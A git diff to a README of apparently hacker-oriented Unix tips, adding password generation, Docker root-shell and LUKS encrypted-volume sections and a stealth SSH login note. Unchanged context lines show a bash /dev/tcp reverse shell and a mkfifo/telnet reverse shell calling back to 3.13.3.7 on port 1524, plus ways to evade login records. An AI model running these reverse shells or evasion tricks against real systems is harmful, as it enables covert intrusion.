diff --git a/README.md b/README.md
index 3dc7169..ffba294 100644
--- a/README.md
+++ b/README.md
@@ -26,7 +26,7 @@ $ kill -9 $$
 ```
 $ ssh -o UserKnownHostsFile=/dev/null -T user@host.org "bash -i"
 ```
-This will not add your user to the */var/log/utmp* file and you wont show up in *w* or *who* command of logged in users. On your client side it will stop logging the host name to *~/.ssh/known_hosts*.
+This will not add your user to the */var/log/utmp* file and you wont show up in *w* or *who* command of logged in users. It will bypass .profile and .bash_profile as well. On your client side it will stop logging the host name to *~/.ssh/known_hosts*.
 
 **3. SSH tunnel OUT**
 
@@ -253,7 +253,57 @@ Make a *bing*-noise (ascii BEL) when anyone tries to SSH to/from our system (cou
 # tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done
 ```
 
-**20. Bash reverse shell**
+**20. Generate quick random Password**
+
+Good for quick passwords without human element.
+
+```
+$ openssl rand -base64 24
+```
+
+**21. Get a root shell in Docker container.**
+
+If the container is already running:
+
+```
+$ docker exec -it --user root <container-name> /bin/bash
+```
+
+If the container is not running:
+
+```
+$ docker run -it --user root --entrypoint /bin/bash <container>
+```
+
+**22. Linux transportable encrypted filesystems.**
+
+Like truecrypt but better.  You may need to `losetup -f` to get a loop device.
+
+Make a junk file, here 256MB is used, encrypt, and partition. You will be prompted for a password.
+
+```
+$ dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
+$ cryptsetup luksFormat /tmp/crypted
+$ mkfs.ext3 /tmp/crypted
+```
+
+Mount:
+
+```
+# losetup /dev/loop0 /tmp/crypted
+# cryptsetup open /dev/loop0 crypted
+# mount -t ext3 /dev/mapper/crypted /mnt/crypted
+```
+
+Store data in `/mnt/crypted`, then unmount:
+
+```
+# umount /mnt/crypted
+# cryptsetup close crypted
+# losetup -d /dev/loop0
+```
+
+**23. Bash reverse shell**
 
 Start netcat to listen on port 1524 on your system:
 ```
@@ -265,7 +315,7 @@ On the remote system. This Bash will connect back to your system (IP = 3.13.3.7,
 $ bash -i 2>&1 >& /dev/tcp/3.13.3.7/1524 0>&1
 ```
 
-**21. Reverse Shell without Bash**
+**24. Reverse Shell without Bash**
 
 Especially embedded systems do not always have Bash and the */dev/tcp/* trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:
 
@@ -281,6 +331,7 @@ $ mkfifo /tmp/.io
 $ sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
 ```
 
+
 --------------------------------------------------------------------------
 Shoutz: ADM